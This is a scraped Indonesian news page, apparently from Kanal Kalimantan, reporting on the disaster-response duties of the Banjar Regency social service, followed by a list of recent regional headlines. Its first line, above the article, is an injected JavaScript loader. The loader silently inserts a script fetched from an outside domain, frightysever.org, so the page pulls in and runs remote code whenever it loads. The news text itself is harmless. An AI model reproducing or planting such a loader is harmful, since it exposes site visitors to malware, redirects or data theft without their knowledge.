(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Ketika Terjadi Bencana, Berikut Tugas Dinas Sosial


MARTAPURA, Dinas Sosial bertugas memberikan perlindungan dan jaminan sosial korban bencana alam. Tugas dan peran melaksanakan penyiapan perumusan kebijakan, koordinasi dan pelaksanaan kebijakan, evaluasi dan pelaporan di bidang perlindungan sosial korban bencana alam, perlindungan sosial korban bencana sosial, hingga jaminan sosial.

Begitu dipaparkan Kepala Bidang Perlindungan dan Jaminan Sosial Dinas Sosial Kabupaten Banjar Adi Kesuma Wijaya.

Kebijakan teknis perlindungan sosial korban bencana alam dari Dinsos meliputi, pengembangan Community Based Disaster Management (CBDM) secara komprehensif di lokasi rawan bencana, perluasan jangkauan sistem penanggulangan bencana bidang perlindungan sosial yang mendekati daerah rawan bencana sampai modernisasi manajemen logistik.

“Contohnya saja dalam keadaan darurat penanganan bencana dilakukan proses sheltering sebagai tempat tampung sementara, sehingga aman, nyaman, sehat dan bermanfaat serta mendapatkan dukungan layanan kebutuhan dasar yang memadai,” ujar Adi Kesuma Wijaya.

“Dinsos di sisi lain juga siap untuk mengadakan dapur umum lapangan penanggulangan bencana dengan alat-alat yang kita miliki saat ini,” katanya.

Lebih jauh Adi menambahkan, tak hanya semata kebutuhan perlindungan, untuk dukungan psiko sosial kepada korban bencana alam dalam siklus Penanggulangan Bencana (PB) pihaknya juga siap melakukan kegiatan pemulihan dan penguatan korban bencana hingga mengembalikan ke kehidupan normal.

“PB itu dibagi tiga seperti pra bencana, pada saat bencana dan pasca bencana. Sementara kegiatan PB itu sendiri diantaranya mulai dari pelatihan bimbingan teknis hingga konseling, kegiatan keagamaan, dan kelompok dukungan,” jelasnya.

Sementara untuk santunan yang diberikan kepada korban bencana biasanya diberikan kepada ahli waris, bantuan bahan bangunan rumah yang dilaksanakan secara gotong royong, bantuan isi hunian sementara/tetap, hingga bantuan jaminan hidup bagi korban bencana yang direlokasi permanen ke hunian tetap. (rendy)

Reporter:Rendy
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Peringatan Hari Jadi ke-72 Kabupaten HSU, Paman Birin: Syukuri Capaian Pembangunan

KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More

8 menit ago

DBD di Banjarbaru Tak Mengenal Musim, 366 Kasus Periode Januari-April

KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More

2 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar, Komersialiasi Dunia Pendidikan Jadi Sorotan

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More

2 jam ago

Silaturahmi Bersama Buruh-Kapolda, Serikat Pekerja Kalsel Tetap Menolak UU Ciptaker Hapus Outsourcing

KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More

5 jam ago

KPU Banjarbaru Rencanakan Launching Pilkada 2024 Akhir Mei

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More

6 jam ago

Jembatan Pulau Telo Tertabrak Kapal Pembawa Crane, Pj Bupati Cek Kondisi

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi meninjau kondisi Jembatan Pulau Telo… Read More

7 jam ago

This website uses cookies.